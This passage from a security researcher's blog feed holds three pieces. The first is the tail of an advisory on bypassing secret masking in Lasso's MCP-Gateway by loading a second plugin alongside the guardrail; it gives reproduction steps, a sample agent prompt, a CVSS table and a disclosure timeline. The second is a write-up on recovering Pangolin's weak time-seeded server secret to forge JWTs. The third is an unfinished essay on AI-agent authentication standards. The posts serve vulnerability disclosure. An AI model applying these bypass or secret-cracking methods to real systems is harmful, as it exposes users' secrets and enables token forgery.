style="color: light-dark(#6A737D, #6A737D);"> add this line</span></span> <span class="giallo-l"><span>]</span></span></code></pre> <p>Check that everything loads with the following command line call to <code>mcp-gateway</code>:</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">$</span><span style="color: light-dark(#032F62, #9ECBFF);"> LOGLEVEL=DEBUG</span><span style="color: light-dark(#032F62, #9ECBFF);"> mcp-gateway</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-mcp-json-path</span><span style="color: light-dark(#032F62, #9ECBFF);"> /home/akses/.claude.json</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">p</span><span style="color: light-dark(#032F62, #9ECBFF);"> basic</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">p</span><span style="color: light-dark(#032F62, #9ECBFF);"> totally-legit</span><span style="color: light-dark(#D73A49, #F97583);"> 2</span><span style="color: light-dark(#D73A49, #F97583);">&gt;&amp;1</span><span style="color: light-dark(#D73A49, #F97583);"> |</span><span style="color: light-dark(#6F42C1, #B392F0);"> grep</span><span style="color: light-dark(#032F62, #9ECBFF);"> totally</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#6A737D, #6A737D);">#</span><span style="color: light-dark(#6A737D, #6A737D);"> note the output and then CTRL+C twice to exit</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">2026-04-03</span><span style="color: light-dark(#032F62, #9ECBFF);"> 03:29:55,827</span><span style="color: light-dark(#032F62, #9ECBFF);"> -</span><span style="color: light-dark(#032F62, #9ECBFF);"> mcp_gateway.gateway</span><span style="color: light-dark(#032F62, #9ECBFF);"> -</span><span style="color: light-dark(#032F62, #9ECBFF);"> INFO</span><span style="color: light-dark(#032F62, #9ECBFF);"> -</span><span style="color: light-dark(#032F62, #9ECBFF);"> Enabling</span><span style="color: light-dark(#032F62, #9ECBFF);"> guardrail</span><span style="color: light-dark(#032F62, #9ECBFF);"> plugin:</span><span style="color: light-dark(#032F62, #9ECBFF);"> totally-legit</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">2026-04-03</span><span style="color: light-dark(#032F62, #9ECBFF);"> 03:29:55,827</span><span style="color: light-dark(#032F62, #9ECBFF);"> -</span><span style="color: light-dark(#032F62, #9ECBFF);"> mcp_gateway.gateway</span><span style="color: light-dark(#032F62, #9ECBFF);"> -</span><span style="color: light-dark(#032F62, #9ECBFF);"> INFO</span><span style="color: light-dark(#032F62, #9ECBFF);"> -</span><span style="color: light-dark(#032F62, #9ECBFF);"> Guardrail</span><span style="color: light-dark(#032F62, #9ECBFF);"> plugins</span><span style="color: light-dark(#032F62, #9ECBFF);"> ENABLED:</span><span> [</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">basic</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span>,</span><span style="color: light-dark(#032F62, #9ECBFF);"> &#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">totally-legit</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">]</span><span style="color: light-dark(#6A737D, #6A737D);"> #</span><span style="color: light-dark(#6A737D, #6A737D);"> this is what we want</span></span></code></pre> <p>IMPORTANT: Be sure to exit &amp; restart <code>claude</code> to bring in the new configuration change</p> <p>To avoid any residual context leaking into this new test type <code>/clear</code> to clear the agents context.</p> <p>Now type <code>/mcp</code> in the command prompt and hit <code>enter</code> twice to show the configuration, this should show the plugin args:</p> <p><img src="https://trapdoorsec.com/writeups/advisory-lasso-mcp-gateway-bypass/image-2.png" alt="" /></p> <ol start="7"> <li><strong>Observe masking bypass</strong></li> </ol> <p>Now reuse the same prompt from step #5</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="plain"><span class="giallo-l"><span>Use mcp-gateway to read ~/src/test/config.ini from the filesystem</span></span></code></pre> <p>This should now yield the following unsanitized response:</p> <p><img src="https://trapdoorsec.com/writeups/advisory-lasso-mcp-gateway-bypass/image-3.png" alt="alt text" /></p> <h2 id="appendix-cvss-scoring">Appendix: CVSS Scoring</h2> <p>Please be aware that this is an estimate designed to aid in initial analysis, pending confirmation from the CNA (in this case, MITRE).</p> <table><thead><tr><th>Product</th><th>MCP-Gateway</th></tr></thead><tbody> <tr><td>Vendor</td><td>Lasso</td></tr> <tr><td>Versions</td><td>initial-current (1.2.0)</td></tr> <tr><td>CVE Status</td><td>Reserved</td></tr> <tr><td>CVSS Estimate</td><td>7.1</td></tr> <tr><td>CVSS Vector</td><td>AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N</td></tr> </tbody></table> <p><strong>CVSS Estimate Rationale</strong></p> <table><thead><tr><th>Vector Component</th><th>Value</th><th>Justification</th></tr></thead><tbody> <tr><td><strong>Attack Vector</strong></td><td>Network</td><td>The gateway is a networked MCP service</td></tr> <tr><td><strong>Attack Complexity</strong></td><td>High complexity</td><td>Requires a malicious/buggy plugin to be loaded alongside a guardrail plugin, that's not a trivial precondition.</td></tr> <tr><td><strong>Privileges Required</strong></td><td>Low</td><td>This is post-auth, however a low privilege requirement, since a malicious MCP gateway doesn't require administrative access to take advantage of unhandled exceptions (see PoC above)</td></tr> <tr><td><strong>User Interaction</strong></td><td>Required</td><td>This is debatable, no user interaction required once a failing plugin is installed, however social engineering would be required in the case of a deliberately planted malicious plugin</td></tr> <tr><td><strong>Scope</strong></td><td>Changed scope</td><td>The vulnerability crosses from the plugin/gateway context into the LLM and potentially the broader agent system</td></tr> <tr><td><strong>Confidentiality impact</strong></td><td>High confidentiality impact</td><td>Secrets/tokens that should be masked are disclosed, plus prompt injection could exfiltrate further data</td></tr> <tr><td><strong>Integrity impact</strong></td><td>Low integrity impact</td><td>Indirect prompt injection can influence LLM behaviour but doesn't directly modify data</td></tr> <tr><td><strong>Availability impact</strong></td><td>No availability impact</td><td>Indirect prompt injection can influence LLM behaviour but doesn't directly modify data</td></tr> </tbody></table> <h2 id="appendix-timeline">Appendix: Timeline</h2> <p>Given that Lasso is a security product company I was expecting something resembling a vulnerability management process. This was not the case. I was at least hoping to see <em>some</em> acknowledgement from Lasso Security at some point in this process, but there has been none. They do not use GitHub Security Advisory Features, there is no security.txt on their website. Their support portal responded with an auto-responder, but I have not heard from a human yet.</p> <p>What's particularly alarming is that this is a company that was awarded a Bronze Globee Award for Cybersecurity this year. They have a social media presence on X, and they regularly market their platform there, but continual pleas to engage and work together on a fix for a new tool they announced only last year, have been ignored. It is for this reason I have elected to go to full disclosure early: the company doesn't appear interested in addressing this issue, therefore leaving users at risk of this issue.</p> <table><thead><tr><th>Date (2026)</th><th>Action</th></tr></thead><tbody> <tr><td>March 19</td><td>Partial disclosure via GH Issue. Given this project had no GHSA policy setup I decided that partial disclosure via Github Issue was appropriate in this case, its a relatively low traffic open source repo, on the chance that a maintainer would see it. I kept the detail brief, so that anyone using this product in the future would have a chance at awareness, without handing a working poc to everyone.</td></tr> <tr><td>March 19</td><td><a rel="external" href="https://github.com/lasso-security/mcp-gateway/issues/16">Created issue</a> briefly describing the bypass. Raised in Github, CVE Requested via MITRE Catchall CNA</td></tr> <tr><td>March 23</td><td>Lasso Security is awarded a Bronze Globee Award in the Cybersecurity category</td></tr> <tr><td>March 28</td><td>MITRE CVE Reservation confirmed</td></tr> <tr><td>April 3</td><td>PoC refined, issue updated, still no response from Lasso via GitHub</td></tr> <tr><td>April 3 4:54 AM</td><td>Went looking for their website. Found a contact use page, I guessed that they might respond to support@ email</td></tr> <tr><td>April 3 4:55 AM</td><td>Support bot response with ticket #</td></tr> <tr><td>April 3 5:40 AM</td><td>Requested update to CVE description</td></tr> <tr><td>April 3 5:45 AM</td><td>Mitre bot response</td></tr> <tr><td>April 8</td><td>Messaged via x.com, no response</td></tr> <tr><td>April 11</td><td>Follow up email, no response</td></tr> <tr><td>April 14</td><td>Public post on x.com requesting Lasso respond</td></tr> <tr><td>April 26</td><td>Published full writeup</td></tr> </tbody></table> Pangolin v1.3.2-1.15.1: Weak Secrets leading to JWT forgery. 2026-04-25T00:00:00+00:00 2026-04-25T00:00:00+00:00 akses https://trapdoorsec.com/writeups/pangolin-vpn-weak-secrets/ <h2 id="what-is-pangolin">What is Pangolin?</h2> <p><a rel="external" href="https://pangolin.net">Pangolin</a> is a 'Zero Trust Access Platform' that promises an "open-source, identity-based remote access platform built on Wireguard". It's a compelling pitch that puts them in a similar market category as other zero-trust networking management providers like Tailscale and Zscaler.</p> <p><img src="https://trapdoorsec.com/writeups/pangolin-vpn-weak-secrets/pangolin.net.png" alt="pangolin&#39;s product page" /></p> <p>Obviously a project like this attracts everyone's attention from a security perspective. So naturally, when I was reviewing their code and saw some worrying anti-patterns with regard to application security, I got in touch with the maintainers privately.</p> <h2 id="overview-of-the-vulnerability-and-exploitation">Overview of the vulnerability and exploitation</h2> <p>Self-hosted Pangolin server version <code>1.3.2</code> through to <code>1.15.1</code> is vulnerable to a critical cryptographic weakness that is exploitable post-authentication by low-privileged users.</p> <p>The primary issue is the use of a weak, time-based pseudo-random number generator (PRNG) to create the server’s master secret key <code>server.secret</code> during installation using the supplied installer binary.</p> <p>This fundamental flaw allows any <em>authenticated user</em> with knowledge of the server’s approximate installation time to brute-force and recover the master secret offline. Depending on the resolution of this time knowledge, the search space for key brute forcing can be narrowed into the region of minutes to days, as opposed to years.</p> <p>Examples of impact are expanded on later, but in short they include the possibility of forging <a rel="external" href="https://github.com/fosrl/pangolin/blob/main/cli/commands/rotateServerSecret.ts">anything this secret is responsible for</a>, including: JWTs, license keys, and other client secrets.</p> <h3 id="let-me-be-clear-about-what-this-is-and-is-not">Let me be clear about what this is and is not</h3> <p>This is not an RCE and, strictly speaking, probably is not even classifiable as a privilege escalation. It is not unauthenticated either. Pangolin servers that are exposed to the internet aren't necessarily vulnerable to this attack. <strong>I think malicious actors/insiders embedded for long periods of time in large organizations are the threat model to be concerned with for something like this</strong>, as opposed to small businesses where everyone is an admin anyway (they probably shouldn't be, but that's a different story).</p> <p>Given limited time to explore the full extent of exploitation opportunities, I stopped at forging JWTs. While not immediately useful in and of itself, this represents an opportunity for an attacker to attack the IDP infrastructure, or perform other shenanigans.</p> <p>While a compromised <code>server.secret</code> has severe security implications, readers should understand that a lot has to go 'right' for an attack to be successful here:</p> <ol> <li>Pangolin Server creation time is necessary, and still only approximates the brute-force search space. Even a 5-minute guess can take commodity hardware a day to crack the secret. However, that is based on my [probably terrible] multi-CPU-core implementation in Rust. There are probably ways to do this with a GPU that would be orders of magnitude faster.</li> <li>The server secret has an important but limited role on a Pangolin setup. I didn't fully explore license key forgery because I was more concerned with where a JWT gets us. My research indicated that it would open possibilities to attack JWT processing and downstream infrastructure, (as opposed to phishing / session takeover). I can show that it is possible to overwrite any value in JWTs, and then sign them basically.</li> <li>The default installation process, as documented on Pangolin's website at the time, must have been used to set up the server. Users who did not use the install binary are likely unaffected. This does limit the impact to users who followed the documentation, although it could be argued this would be the majority of users.</li> <li>This is not an unauthenticated attack. My testing indicated that only authenticated users to the dashboard (albeit low-privileged ones) were issued with a secret that could be cracked offline. As it stands, my belief is you would need a high level of privilege in an environment already. This is why my assessment of the threat model above is as it is: focused on large enterprise environments mostly concerned with insider threat and lateral movement potential.</li> </ol> <p>It's possible that the above led to the reasoning behind Pangolins level of response, perhaps the threat model from their point of view was not concerning enough to warrant coordinating disclosure.</p> <h3 id="pangolin-s-response">Pangolin's response</h3> <h4 id="what-went-well">What went well</h4> <p>The Pangolin team should be commended for patching this reasonably quickly upon acknowledging receipt of the security report.</p> <h4 id="what-didn-t-go-well">What didn't go well</h4> <p>However, after this initial fix, they were non-responsive on requests, including those to disclose this to the customers via MITRE.</p> <p>There was also no response to subsequent issues found in that changeset. For example, no response when I reached out to them and informed them that:</p> <blockquote> <p>There is NO automatic migration that regenerates weak secrets from vulnerable installations. Users who installed versions 1.3.2 through 1.15.1 still have their weak, time-based secrets in their config files.</p> </blockquote> <p>The above quote means that even if you do upgrade, you must still manually rotate this secret to address any concerns of compromise. I.e., their fix only works for brand-new users.</p> <p>In terms of the example of their customer communications regarding this, as far as I could tell, this is the <a rel="external" href="https://github.com/fosrl/pangolin/releases/tag/1.15.2">full release notice</a> for <code>1.15.2</code> and no further announcements were made. Readers may note there is nothing obvious in here indicating that they should update to this version to address their server issues.</p> <p>Full Changelog: <a rel="external" href="https://github.com/fosrl/pangolin/compare/1.15.1...1.15.2">1.15.1...1.15.2</a></p> <h4 id="a-mitre-ghsa-disclosure-gotcha">A MITRE/GHSA disclosure gotcha</h4> <p>One disclosure-process wrinkle worth flagging for other indie researchers: MITRE rejected my CVE assignment request on the grounds that Pangolin "uses GHSA". Pangolin does have GitHub's Security tab enabled, but they do not actually use it as a CNA. They use it only to direct researchers toward private email contact, and explicitly forbid public security issues. MITRE appears to interpret a populated security tab as evidence of GHSA/CNA delegation, which in this case meant the CVE request was bounced even though no CNA was actually responsible for assignment. An appeal has been lodged but as of writing has not been answered.</p> <p>I have published my full communications timeline at the end of this article.</p> <h2 id="where-things-went-wrong">Where things went wrong</h2> <p>For the uninitiated, developers of secure applications should be hyper aware of using <em>cryptographically secure randomness</em> when generating secrets.</p> <p>To be completely fair, the intent in the Pangolin code was to <em>not</em> be an exception to this.</p> <p>However, there was a single edge case where this was not the case, and it was catastrophic for the security of the cryptography governing JWT and OIDC interactions.</p> <p>Their website installation procedure encourages the admin to use this approach: <img src="https://trapdoorsec.com/writeups/pangolin-vpn-weak-secrets/pangolin-installation.png" alt="the quick start guide for pangolin installation shows some red flags" /></p> <p>I won't get into why this is considered a bad practice, there is plenty of discussion about that <a rel="external" href="https://sasha.vincic.org/blog/2024/09/piping-curl-to-bash-convenient-but-risky">elsewhere</a>.</p> <p>This script, as its name suggests, downloads a prebuilt Go binary from GitHub. This is the Pangolin installer.</p> <p><img src="https://trapdoorsec.com/writeups/pangolin-vpn-weak-secrets/installer-logic.png" alt="the installer just downloads a binary" /> <img src="https://trapdoorsec.com/writeups/pangolin-vpn-weak-secrets/go-binary-download.png" alt="the binaries are hashed" /></p> <p>Predictably this binary then needs sudo privileges in order to complete its task.</p> <p>Because this is an atypical delivery approach, this all felt very opaque to me so I decided to inspect the installer's code on Github before using it.</p> <h2 id="time-based-secrets-considered-harmful">Time based secrets considered harmful</h2> <p>One of the jobs that the installer is tasked with is generating the root <code>server.secret</code>. This secret is then used in the creation of other secrets. It's a little bit like the seed of a minecraft server, only it's alphanumeric. It should also be cryptographically random, i.e. safe from being easily guessed.</p> <p>For reasons that aren't entirely clear to me the setup process stores an initial secret in a config file. This initial secret is created using the following insecure code. Remember this, it will be important soon.</p> <p><img src="https://trapdoorsec.com/writeups/pangolin-vpn-weak-secrets/insecure-generation.png" alt="Time based secrets aren&#39;t secure folks" /></p> <p>As you can see, this is done with an insecure seed (a Unix style nanosecond datetime stamp).</p> <p>To make matters worse, that particular flavor of <code>rand</code> comes from the <code>math</code> library, and is not considered safe for cryptographic purposes. That's because it is deterministic given the same seed and in our case the seed is hidden in a finite set of guessable numbers.</p> <p>Now to where this bites us. Later, once the config file is finalized, the database migrations kick in and attempt to overwrite this secret. I suspect due to a <a rel="external" href="https://github.com/fosrl/pangolin/issues/640">previously reported issue</a>, one of the database migrations is tasked with overwriting this initial secret with a much better one - can you spot the flaw here though?</p> <p><img src="https://trapdoorsec.com/writeups/pangolin-vpn-weak-secrets/the-root-cause.png" alt="A poorly designed conditional statement was all it took" /></p> <p>Problem is that thanks to prior activity from the installer binary, it isn't empty at all, so it never gets overwritten. A poorly designed conditional statement was all it took to bring this all undone.</p> <blockquote> <p>This now means the application is running with a weak 'root' secret.</p> </blockquote> <p><strong>So this is why this vulnerability only exists when you use the installer (or you populated this file yourself and expected migrations to do something extra for you)</strong></p> <p>Under better circumstances you would expect a seed to be unguessable. This is why some places go to great lengths to <a rel="external" href="https://blog.cloudflare.com/chaos-in-cloudflare-lisbon-office-securing-the-internet-with-wave-motion/">generate high quality randomness</a>.</p> <p><img src="https://trapdoorsec.com/writeups/pangolin-vpn-weak-secrets/cf-rng.png" alt="Cloudflare&#39;s latest random number generator. Source: https://blog.cloudflare.com" /></p> <p><em>If you are a go developer and this is news to you then go have a look at <a rel="external" href="https://pkg.go.dev/math/rand">this</a>. TL;DR you actually want <code>crypto/rand</code> instead, for reasons that will become painfully obvious soon.</em></p> <h2 id="impact">Impact</h2> <p>If we can find some cipher text that gets built from this secret, then conceivably we can use the time that the installer ran, against it.</p> <p>That is to say, "time installer ran" + "generated secret" = <em>we can brute force the server secret.</em></p> <p>The secret is critical in two areas of the codebase:</p> <h3 id="oidc-state-forgery-tested">OIDC State Forgery (tested)</h3> <p>The secret is used to sign JSON Web Tokens (JWTs) that manage the OIDC login state. An attacker can forge these tokens to probe the upstream OIDC Identity Provider for weaknesses or potentially interfere with other users’ login flows. This was tested and confirmed against the latest compatible version of keycloak at the time, but only to the extent that it could be shown that JWT forgery was possible, because further testing would then essentially be against keycloak itself. It was possible to forge a fake JWT that was correctly signed that could redirect a user to an attacker controlled URL.</p> <h3 id="sensitive-data-encryption-and-decryption">Sensitive Data Encryption and Decryption</h3> <p>The secret is used to sign or encrypt license keys, OIDC client secrets, session transfer tokens, and other sensitive configuration data. An attacker who obtains a database backup (e.g., through other means) can decrypt this data, or change it and encrypt it correctly.</p> <h3 id="exploiting-the-weakness-in-practice">Exploiting the weakness in practice</h3> <blockquote> <p>A cookie stores a JWT signed with the weak secret. By iterating candidate installer timestamps within a guessed window, deriving the resulting secret from each, and testing whether it validates the JWT signature, an attacker recovers the secret offline.</p> </blockquote> <p>The <code>p_oidc_state</code> cookie is left behind by the login process for any user, not just administrators. From here, all I had to do was create a program that 'borrowed' the same code that the application itself uses to make sure I generated the secret using exactly the same alphabet and cryptographic algorithms.</p> <p>With this secret in hand, an attacker can now forge JWT based OIDC token to then attack any integrated identity services that pangolin is connected to.</p> <p><em>Obtaining this server creation time is not really what this blog post is about however a combination of inside knowledge or even some OSINT like certificate creation times could conceivably be used to reduce the brute force problem space dramatically.</em></p> <p><strong>I estimate that with a 5-minute time window on 32 CPU cores, my PC and proof of concept can crack it in roughly 24 hours via CPU brute force. A guess around 1 hour would take approximately 12 days on my hardware. A server with more CPUs, or a GPU-based PoC would reduce that dramatically.</strong></p> <h2 id="recommendations">Recommendations</h2> <p>In light of the above, it is the opinion of this author that users of the self-hosted pangolin service who used the default installer process from version <code>1.3.2 to 1.15.1</code> inclusive, should not only update to the latest version if possible, but also rotate their server secrets as soon as practicable. Pangolin has a key rotation command, however I do not know if this works, or what impact it would have in your environment, so please proceed with caution:</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">pangolin</span><span style="color: light-dark(#032F62, #9ECBFF);"> rotate-server-secret</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-old-secret</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">&lt;current-weak-secret&gt;</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-new-secret</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">&lt;new-strong-secret&gt;</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span></span></code></pre><h3 id="why-assuming-nobody-knows-when-your-server-was-created-is-not-enough-protection">Why assuming nobody knows when your server was created is not 'enough protection'</h3> <p>This is a valid argument to an extent in very low risk threat models. If it's just your DVD collection that you are protecting maybe this is OK. However if you are using a ZTN service like Pangolin to protect company/customer/otherwise important data, if you are a potential target for cybercriminal or state sponsored surveillance, these risks may not be acceptable.</p> <h2 id="proof-of-concept">Proof of Concept</h2> <p>First, remember that this is a post-auth issue - we need something from any logged in user that was incorrectly generated via this seed.</p> <p>Exploiting this is a non-trivial exercise to do efficiently for a number of reasons, and is highly dependent on the attacker's hardware. I chose to do this on a reasonably high spec'd developer workstation (32 Cores, 64GB DDR5 RAM). Using a systems programming language like C, C++ or Rust produces good enough results. Multithreading was required to get the processing times down.</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/GdsVuwwVppo" frameborder="50" allowfullscreen></iframe> <hr /> <h2 id="responsible-disclosure-timeline">Responsible Disclosure Timeline</h2> <p>For transparency here is the timeline of disclosure related events.</p> <table><thead><tr><th>Date (2026)</th><th>Action</th></tr></thead><tbody> <tr><td>Jan 24</td><td>Initial outreach via Discord to find comms channel</td></tr> <tr><td></td><td>Pangolin confirms email as preferred channel</td></tr> <tr><td></td><td>Full security report sent to [email protected]</td></tr> <tr><td>Jan 27</td><td>Pangolin acknowledges report, commits to reviewing and updating installer</td></tr> <tr><td>Jan 28</td><td>Acknowledgement of response, offered assistance in re-testing</td></tr> <tr><td>Jan 30</td><td>Follow up, I ask about CVE assignment</td></tr> <tr><td>Feb 2</td><td>Pangolin asked for more time for patching</td></tr> <tr><td>Feb 6</td><td><a rel="external" href="https://github.com/fosrl/pangolin/commit/5ad564d21bc13de7030adc3f33d248d4d18aaf54">1.15.2 released fixing secret generation</a>, I acknowledge and mention CVE assignment again.</td></tr> <tr><td>Feb 12</td><td>Follow up with no response.</td></tr> <tr><td>Feb 12</td><td>I request a CVE ID from MITRE <code>status: requested, pending assignment</code></td></tr> <tr><td>Mar 6</td><td>Informed Pangolin of CVE reservation request and intent to write blog post/article. Offered to give them a preview with the mind to coordinate disclosure: no response</td></tr> <tr><td>Mar 7</td><td>Informed pangolin team of key rotation issue/advice: no response</td></tr> <tr><td>Mar 28</td><td>MITRE rejects CVE assignment, citing GHSA (see "A MITRE/GHSA disclosure gotcha" above)</td></tr> <tr><td>Mar 29</td><td>Appeal lodged to MITRE, no response to date</td></tr> <tr><td>Apr 25</td><td>Decision: full public disclosure on the grounds that the vendor ceased contact and MITRE rejected CVE assignment. Every effort was made to follow the de-facto standard responsible disclosure process.</td></tr> <tr><td>Apr 25</td><td>Date of this report &amp; notification to MITRE of publication</td></tr> </tbody></table> Authenticating Authorized Artificial Agents 2026-03-07T00:00:00+00:00 2026-03-07T00:00:00+00:00 akses https://trapdoorsec.com/posts/authorizing-agents/ <h1 id="a-new-agent-to-agent-communication-protocol-enters-the-ring">A New Agent to Agent Communication 'Protocol' Enters The Ring</h1> <p>For a while now we've had Model Context Protocol and there's been a lot of valid criticism laid at is feet. The running joke appears to be 'should it just die'? Well what if it did? What other standards exist that would allow for complex agent integrations to exist?</p> <p>Have you ever used multiple agents in tandem over the internet and thought "wow, this is probably really insecure but Imma do it anyway"?</p> <p>Now imagine you had absolutely no control over the 'other agent', but in order to Get Stuff Done, that's what you had to do. This is the world in which we are ushering by encouraging the latest fad of Agentic Agents doing Agently things.</p> <blockquote> <p>This is the lens that I would like to explore these standards through... what happens when we implement them <em>badly</em>? Because we will.</p> </blockquote> <h2 id="how-was-the-internet-built-anyway-unc">How was the internet built anyway, Unc?</h2> <p>The world of the internet has for the longest time been defined in humble text files. Everything from <a rel="external" href="https://www.ietf.org/rfc/rfc9293.html">TCP/IP</a> to <a rel="external" href="https://www.ietf.org/rfc/rfc1034.txt">DNS</a> and even <a rel="external" href="https://en.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol">protocols for brewing coffee remotely</a> exist in these text files. They start out as theoretical pieces, that slowly crystallize over time into real software that you and I use today. I personally find them fascinating to study, both new and old.</p> <p>The <a rel="external" href="https://www.ietf.org/">Internet Engineering Task Force</a> (IETF) has been the custodian over these definitions since well before the World Wide Web was even but a twinkle in <a rel="external" href="https://en.wikipedia.org/wiki/Tim_Berners-Lee#Views">Tim Berners-Lee's eye</a>. The <a rel="external" href="https://en.wikipedia.org/wiki/Request_for_Comments">Request For Comments</a> or RFC document is the delivery mechanism for much of the fundamental engineering that makes up the internet as we know it.</p> <p>On March 2, 2026, a new draft RFC landed: <a rel="external" href="https://datatracker.ietf.org/doc/draft-klrc-aiagent-auth/">"AI Agent Authentication and Authorization"</a></p> <p>Arguably, it is one of the more important attempts at defining how the constellation of authn/authz ideas should and might coalesce in the future. While it isn't pitched as a standard (yet), it is being floated to consolidate the ecosystem and elicit discovery of any gaps.</p> <p>It is written by people from AWS, Zscaler, Defakto Security and Ping Identity, so one could presume it comes with some experience behind it.</p> <p>Although, we should never underestimate the ability of nerds to get over-excited about specifications. I have lived the SOAP life and am old enough to remember the WS-* years. XSLT anyone? That felt like a proper fever dream. I don't want that again. Is this going to be the same?</p> <p><img src="https://trapdoorsec.com/posts/authorizing-agents/./this-is-madness.gif" alt="credit: the people who made the movie 300" /></p> <h2 id="tl-dr">TL;DR</h2> <p>Thankfully what is going on bears no relation to WS-* as best I can tell. I put 'protocol' in inverted commas in the title above, because this paper basically argues that we have all the pieces of the A2A puzzle already, and we simply need to start using them. That said, there are a lot of new concepts (to me, at least). I will list them first with sources and then dive into what the acronyms mean.</p> <p>The foundational pieces proposed are:</p> <ul> <li><a rel="external" href="https://datatracker.ietf.org/wg/wimse/about/">WIMSE</a>/<a rel="external" href="https://spiffe.io/">SPIFFE</a> identifiers</li> <li><a rel="external" href="https://www.ietf.org/archive/id/draft-ietf-oauth-identity-chaining-05.html">OAuth 2.0 identity chaining</a> via <a rel="external" href="https://datatracker.ietf.org/doc/draft-ietf-oauth-transaction-tokens/">Transaction Tokens</a> (for delegation)</li> <li><a rel="external" href="https://www.cloudflare.com/learning/access-management/what-is-mutual-tls/">mTLS</a> with short-lived <a rel="external" href="https://spiffe.io/docs/latest/spiffe-about/spiffe-concepts/">SVIDs</a> for authentication</li> </ul> <blockquote> <p>Exhausted yet? Me too. But let's press on, because where there are complex systems, there are opportunities for flaws, bugs and exploits.</p> </blockquote> <h1 id="a2a-service-discovery-for-a-gen-alpha-world">A2A: Service Discovery for a Gen Alpha World</h1> <p><img src="https://trapdoorsec.com/posts/authorizing-agents/./a2a-logo.png" alt="credit: a2a-protocol.org" /></p> <p>Parallel to this draft RFC is a specification called <a rel="external" href="https://a2a-protocol.org/latest/">A2A protocol</a> (Agent 2 Agent). This was built by Google in April 2025 and is now living in the Linux Foundation.</p> <p>A2A doesn't talk about identity much at all. Every agent publishes an 'Agent Card' on <code>.well-known/agent.json</code> listing its skills and other endpoints. It lists any supported authorization flows, and clients optionally may obtain short-lived OAuth/OIDC tokens that are scoped per task.</p> <p>However, authentication isn't defined in this standard in strict terms, only allowing for optional mechanisms, leaving authn an open question.</p> <p>To summarize, A2A is about defining a schema for agent discovery (the agent card) and a <em>task lifecycle protocol</em> but leaves the identity issue alone, which is where the RFC becomes relevant.</p> <h1 id="sounds-kind-of-spiffy">Sounds kind of spiffy!</h1> <p>As with all things on the net, we need an address. A "Uniform Resource Identifier" if you will. To this end, two standards have emerged, WIMSE "Workload Identity in Multi-System Environments" and "Secure Production Identity Framework for Everyone" (SPIFFE).</p> <p><img src="https://trapdoorsec.com/posts/authorizing-agents/spiffe.png" alt="credit: spiffe.io" /></p> <p>The URI is important as a way for multi-agent systems to distinguish each other, and SPIFFE also takes care of identifying particular workloads, and their execution contexts. This becomes important later.</p> <p>All we really need to know at this point is that an agent operating in this version of standards hell, must have a WIMSE, and that WIMSE <em>may be</em> a SPIFFE.</p> <p><em>Let's Take a Deep Breath (LTDB) and remind ourselves that Acronyms Suck Sometimes.</em></p> <p>So imagine we have a lovely little robo-helper, let's call him Agent Bob. He publishes his own Agent ID card at his address, and lists ways in which he can help or be helped. All that is left is that elusive piece: how do we know that Agent Bob, or his neighbour-robo-helper, let's call her Agent Alice, is who they say they are?</p> <h2 id="enter-mutually-assured-destruction-transport-layer-security">Enter Mutually Assured D̶e̶s̶t̶r̶u̶c̶t̶i̶o̶n̶ Transport Layer Security</h2> <p>So according to this draft, it is mTLS to the rescue for determining authenticity. If Agent Bob is to engage Agent Alice's help, they will need to be introduced in holy matrimony via an x.509 certificate binding ceremony known as mTLS or <a rel="external" href="https://en.wikipedia.org/wiki/Mutual_authentication#mTLS">Mutual Transport Layer Security</a>.</p> <p>However it's not as simple as agreeing on an x.509 certificate. Remember I mentioned that SPIFFE identifies workload execution? It does this in order to reduce risks of compromised certificates, by issuing "Short-Lived SPIFFE Verifiable Identity Documents" or SVIDs. These SVIDs need to be validated before any Agentic Action may be, um, actioned upon.</p> <p><em>At this point I am throwing a chair at the next person who makes a new acronym.</em></p> <h1 id="but-wait-there-are-more-acronyms">But wait! There are more acronyms!</h1> <p>The astute reader may note that in order for any of this to work, agents would need real-world credentials as we already know them, to do anything important behind the scenes! And you'd be right, dear astute reader.</p> <p>How would existing enterprisey systems provision new identities from places like Entra ID or Active Directory? Via <a rel="external" href="https://www.microsoft.com/en-us/security/business/security-101/what-is-scim">SCIM</a>, of course, which will need an <a rel="external" href="https://datatracker.ietf.org/doc/draft-abbey-scim-agent-extension/">extension also defined as an IETF draft</a> to define an 'Agent' resource type, and allows us to assign human owner(s) to our robo-clanker-pals.</p> <h2 id="if-this-wasn-t-whimsical-enough">If this wasn't whimsical enough...</h2> <p>Further to the question of how humans might bind their identities to those of agents, is the <a rel="external" 